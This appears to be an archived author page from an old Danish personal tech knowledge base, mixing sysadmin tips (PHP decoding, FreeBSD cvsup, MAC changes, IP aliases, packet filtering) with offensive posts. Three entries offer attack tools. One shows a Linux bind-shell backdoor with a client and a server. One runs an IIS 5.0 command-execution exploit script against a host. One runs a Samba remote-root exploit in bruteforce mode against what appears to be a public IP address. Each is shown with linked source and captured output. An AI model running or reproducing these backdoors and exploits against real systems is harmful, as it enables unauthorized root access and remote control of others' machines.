Forfatterarkiv: mike

PHP unicode decoder

function unicode_decode($txt) { $txt = preg_replace_callback( ‘/%u([[:alnum:]]{4})/’, create_function(‘$match’, ‘return “&#”.hexdec($match[1]).”;”;’), $txt ); $txt = preg_replace_callback( ‘/%([[:alnum:]]{2})/’, create_function(‘$match’, ‘return “&#”.hexdec($match[1]).”;”;’), $txt ); return ($txt); }  

Udgivet i Knowledge Base, Old Base, PHP, Programmering | Skriv en kommentar

cvsup FreeBSD to current

Install cvsup: cd /usr/ports/net/cvsup-without-gui && make install For Stable use tag=RELENG_4 Create file /usr/src/current-supfile with this inside: Use this cvsup file: # IMPORTANT: Change the next line to use one of the CVSup mirror sites *default host=cvsup.dk.FreeBSD.org *default base=/usr *default … Læs resten

Udgivet i FreeBSD, Knowledge Base, Old Base | Skriv en kommentar

Change NIC MAC in linux

root@spacecamp:~# ifconfig eth2 down root@spacecamp:~# ifconfig eth2 hw ether aa:aa:aa:aa:aa:aa root@spacecamp:~# ifconfig eth2 up root@spacecamp:~# ifconfig eth2 eth2 Link encap:Ethernet HWaddr AA:AA:AA:AA:AA:AA inet addr:192.168.20.1 Bcast:192.168.20.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:1275 … Læs resten

Udgivet i Knowledge Base, Linux, Networking, Old Base | Skriv en kommentar

Adding an ip alias to a NIC in FreeBSD & Linux

Freebsd : rc.conf: ifconfig_rl0_alias0=”10.1.1.24 netmask 0xffffffff” manually: ifconfig rl0 alias 10.1.1.24 netmask 0xffffffff Linux: ifconfig eth0:0 10.1.1.25 netmask 255.255.255.255

Udgivet i FreeBSD, Knowledge Base, Linux, Old Base | Skriv en kommentar

Packet filtering in FreeBSD

FreeBSD got a packet filter like linux also, very simple to use and the rules are imo way more simple than those in linux. First you gotta recompile your kernel with: options IPFIREWALL in it, when you boot the kernel … Læs resten

Udgivet i FreeBSD, Knowledge Base, Networking, Old Base | Skriv en kommentar

TDC Centraler

abnxa1.ip.tele.dk. “Aalborg, Denmark” abnxd1.ip.tele.dk. “Aalborg, Denmark” abnxd2.ip.tele.dk. “Aalborg, Denmark” abnxd3.ip.tele.dk. “Aalborg, Denmark” abnxg1.ip.tele.dk. “Aalborg, Denmark” abnxg2.ip.tele.dk. “Aalborg, Denmark” abnxl1.ip.tele.dk. “Aalborg, Denmark” abnxl2.ip.tele.dk. “Aalborg, Denmark” abnxl3.ip.tele.dk. “Aalborg, Denmark” abnxr1.ip.tele.dk. “Aalborg, Denmark” abnxr2.ip.tele.dk. “Aalborg, Denmark” abnxr3.ip.tele.dk. “Aalborg, Denmark” abnxr4.ip.tele.dk. “Aalborg, Denmark” abnxr5.ip.tele.dk. … Læs resten

Udgivet i Knowledge Base, Old Base | Skriv en kommentar

Extract all mysql queries from your sourcecode

cat /usr/local/apache2/inc/* | grep query | perl -lne ‘ s/^\s+//; print;’ > queries

Udgivet i Knowledge Base, Old Base, Shellscript, SQL | Skriv en kommentar

Linux backdoor

client : http://base.fujang.dk/files/mike/contty.c Server : http://base.fujang.dk/files/mike/bindtty.c Start the server like: root@banana:~# ./bindtty Daemon is starting…OK, pid = 148 And connect to it like: root@banana:~# ./contty 127.0.0.1 Trying 127.0.0.1:4000… Connected to 127.0.0.1. Escape character is ‘^]’ [ut@banana /]#

Udgivet i Backdoors, Knowledge Base, Linux, Old Base | Skriv en kommentar

Windows IIS 5.0 Penetration #1

http://base.fujang.dk/files/mike/runshit.pl peanut# ./runshit.pl 10.1.1.3:80 dir%20c:\\ HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Thu, 29 May 2003 12:21:35 GMT Content-Type: application/octet-stream Disken i drev C har ikke noget navn. Diskens serienummer er E482-DA7D Indhold af c:\ 25-05-2003 22:33 <DIR> Documents and Settings … Læs resten

Udgivet i Exploits, Knowledge Base, Old Base, Windows | Skriv en kommentar

Linux penetration #1: Samba

http://base.fujang.dk/files/mike/sambal.c Taken from :http://www.greyhat.org/exploits/2003/april/sambal.c peanut# ./sambal -b 0 -v 80.196.128.94 samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be) ————————————————————– + Verbose mode. + Bruteforce mode. (Linux) + Host is running samba. + Using ret: [0xbffffed4] + Using ret: [0xbffffda8] + … Læs resten

Udgivet i Exploits, Knowledge Base, Old Base | Skriv en kommentar